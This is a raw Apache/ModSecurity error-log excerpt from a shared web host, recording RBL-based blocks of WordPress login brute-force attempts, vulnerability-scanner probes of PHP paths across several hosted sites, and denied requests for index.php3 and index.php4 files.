Jun 13 18:25:06.364744 2026] [access_compat:error] [pid 646876:tid 646944] [remote 57.141.14.45:34966] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:06.365023 2026] [access_compat:error] [pid 646876:tid 646944] [remote 57.141.14.45:34966] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:06.517368 2026] [security2:error] [pid 715691:tid 715935] [client 159.223.112.69:35100] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai304rV-dFiaX9AtWiQzGwAAAWg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:06.656910 2026] [access_compat:error] [pid 646876:tid 646974] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:25:06.657379 2026] [access_compat:error] [pid 646876:tid 646974] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:25:06.734622 2026] [security2:error] [pid 715691:tid 715838] [remote 17.246.23.206:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 206.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai304rV-dFiaX9AtWiQzIwABbX8"] [Sat Jun 13 18:25:06.736730 2026] [security2:error] [pid 715691:tid 715892] [client 159.223.112.69:35102] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai304rV-dFiaX9AtWiQzJQAAAT0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:06.750755 2026] [security2:error] [pid 715691:tid 715957] [client 185.199.157.14:59525] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 14.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/radio.php"] [unique_id "ai304rV-dFiaX9AtWiQzIQAAAX4"] [Sat Jun 13 18:25:06.956722 2026] [security2:error] [pid 646876:tid 647030] [client 159.223.112.69:35114] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai304tyTkdrNlD40tSHd4QAAABY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:06.979461 2026] [access_compat:error] [pid 646876:tid 646887] [remote 57.141.14.26:64688] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:06.979944 2026] [access_compat:error] [pid 646876:tid 646887] [remote 57.141.14.26:64688] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:07.019628 2026] [security2:error] [pid 715691:tid 715896] [client 216.73.216.201:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 201.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/htmlentities16.phpt"] [unique_id "ai3047V-dFiaX9AtWiQzLwAAAUE"] [Sat Jun 13 18:25:07.154793 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2Uvc3Vic3lzdGVt [Sat Jun 13 18:25:07.155225 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2Uvc3Vic3lzdGVt [Sat Jun 13 18:25:07.178406 2026] [security2:error] [pid 715691:tid 715891] [client 159.223.112.69:35118] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3047V-dFiaX9AtWiQzNgAAATw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:07.363253 2026] [security2:error] [pid 715691:tid 715842] [client 185.199.157.13:56701] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 13.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/wp-includes/admin.php"] [unique_id "ai3047V-dFiaX9AtWiQzOwAAAQs"] [Sat Jun 13 18:25:07.412626 2026] [access_compat:error] [pid 715691:tid 715710] [remote 57.141.14.103:20602] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:07.413083 2026] [access_compat:error] [pid 715691:tid 715710] [remote 57.141.14.103:20602] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:07.425128 2026] [security2:error] [pid 715691:tid 715873] [client 159.223.112.69:35130] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3047V-dFiaX9AtWiQzPgAAASo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:07.487932 2026] [security2:error] [pid 715691:tid 715779] [remote 210.211.99.176:60258] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.99.211.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "teapeak.net"] [uri "/xmlrpc.php"] [unique_id "ai3047V-dFiaX9AtWiQzQAABX0Q"] [Sat Jun 13 18:25:07.488231 2026] [security2:error] [pid 715691:tid 715926] [client 210.211.99.176:60258] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "teapeak.net"] [uri "/xmlrpc.php"] [unique_id "ai3047V-dFiaX9AtWiQzQAABX0Q"] [Sat Jun 13 18:25:07.645990 2026] [security2:error] [pid 715691:tid 715856] [client 159.223.112.69:35138] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3047V-dFiaX9AtWiQzRAAAARk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:07.656879 2026] [security2:error] [pid 646876:tid 646889] [remote 17.246.19.13:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 13.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3049yTkdrNlD40tSHd9wAAdQo"] [Sat Jun 13 18:25:07.704830 2026] [access_compat:error] [pid 646876:tid 646879] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2Uvc3Vic3lzdGVt [Sat Jun 13 18:25:07.705257 2026] [access_compat:error] [pid 646876:tid 646879] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2Uvc3Vic3lzdGVt [Sat Jun 13 18:25:07.777110 2026] [security2:error] [pid 646876:tid 646943] [remote 17.246.23.60:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 60.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3049yTkdrNlD40tSHd_AAAJkA"] [Sat Jun 13 18:25:07.865871 2026] [security2:error] [pid 715691:tid 715874] [client 159.223.112.69:35150] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3047V-dFiaX9AtWiQzTwAAASs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:07.948885 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.53:46742] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:07.949335 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.53:46742] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:08.043277 2026] [security2:error] [pid 715691:tid 715718] [remote 17.22.253.157:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 157.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai305LV-dFiaX9AtWiQzUwABVwg"] [Sat Jun 13 18:25:08.043549 2026] [access_compat:error] [pid 646876:tid 646997] [remote 57.141.14.59:62497] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:08.044032 2026] [access_compat:error] [pid 646876:tid 646997] [remote 57.141.14.59:62497] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:08.056840 2026] [security2:error] [pid 646876:tid 646968] [remote 17.22.237.44:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 44.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai305NyTkdrNlD40tSHeBwAAAlk"] [Sat Jun 13 18:25:08.088275 2026] [security2:error] [pid 715691:tid 715859] [client 159.223.112.69:35160] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai305LV-dFiaX9AtWiQzVQAAARw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:08.209393 2026] [access_compat:error] [pid 646876:tid 646942] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZS9wb3dlcg== [Sat Jun 13 18:25:08.209836 2026] [access_compat:error] [pid 646876:tid 646942] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZS9wb3dlcg== [Sat Jun 13 18:25:08.228432 2026] [access_compat:error] [pid 715691:tid 715815] [remote 57.141.14.69:22818] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:08.228724 2026] [access_compat:error] [pid 715691:tid 715815] [remote 57.141.14.69:22818] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:08.232909 2026] [access_compat:error] [pid 715691:tid 715735] [remote 57.141.14.8:40069] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:08.233347 2026] [access_compat:error] [pid 715691:tid 715735] [remote 57.141.14.8:40069] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:08.309312 2026] [security2:error] [pid 715691:tid 715938] [client 159.223.112.69:35166] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai305LV-dFiaX9AtWiQzXwAAAWs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:08.529623 2026] [security2:error] [pid 715691:tid 715947] [client 159.223.112.69:35176] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai305LV-dFiaX9AtWiQzZgAAAXQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:08.539089 2026] [access_compat:error] [pid 646876:tid 646908] [remote 57.141.14.102:54537] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:25:08.539380 2026] [access_compat:error] [pid 646876:tid 646908] [remote 57.141.14.102:54537] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:25:08.543067 2026] [security2:error] [pid 715691:tid 715752] [remote 52.167.144.179:28888] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.144.167.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.celadondragon.com"] [uri "/content/histanddynasties/content/pronguide/Yuan/content/whyChinese/SouthMing/JinJurchen/kangxi.php"] [unique_id "ai305LV-dFiaX9AtWiQzZwABUyo"] [Sat Jun 13 18:25:08.704346 2026] [security2:error] [pid 646876:tid 647038] [client 74.7.230.7:59442] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "www.smartsafetycenter.com"] [uri "/index.php"] [unique_id "ai304tyTkdrNlD40tSHdzAAAHmo"] [Sat Jun 13 18:25:08.726353 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZQ== [Sat Jun 13 18:25:08.726797 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ3L2RldmljZQ== [Sat Jun 13 18:25:08.730811 2026] [security2:error] [pid 715691:tid 715714] [remote 17.246.15.242:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 242.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai305LV-dFiaX9AtWiQzbAABfAQ"] [Sat Jun 13 18:25:08.749027 2026] [security2:error] [pid 646876:tid 647078] [client 159.223.112.69:35192] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai305NyTkdrNlD40tSHeHAAAAEY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:25:08.934345 2026] [access_compat:error] [pid 715691:tid 715958] [client 185.199.157.20:58227] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/index.php, referer: http://krosscorp.us/wp-includes/ [Sat Jun 13 18:25:08.934969 2026] [access_compat:error] [pid 715691:tid 715958] [client 185.199.157.20:58227] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/index.phtml, referer: http://krosscorp.us/wp-includes/ [Sat Jun 13 18:25:08.937238 2026] [access_compat:error] [pid 715691:tid 715958] [client 185.199.157.20:58227] AH01797: client denied by server configuration: /home1/taqniyam/public_html/krosscorp.us/wp-includes/index.php5, referer: http://krosscorp.us/wp-includes/ [Sat Jun 13 18:25:09.259228 2026] [security2:error] [pid 646876:tid 647128] [client 210.217.96.217:54752] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri 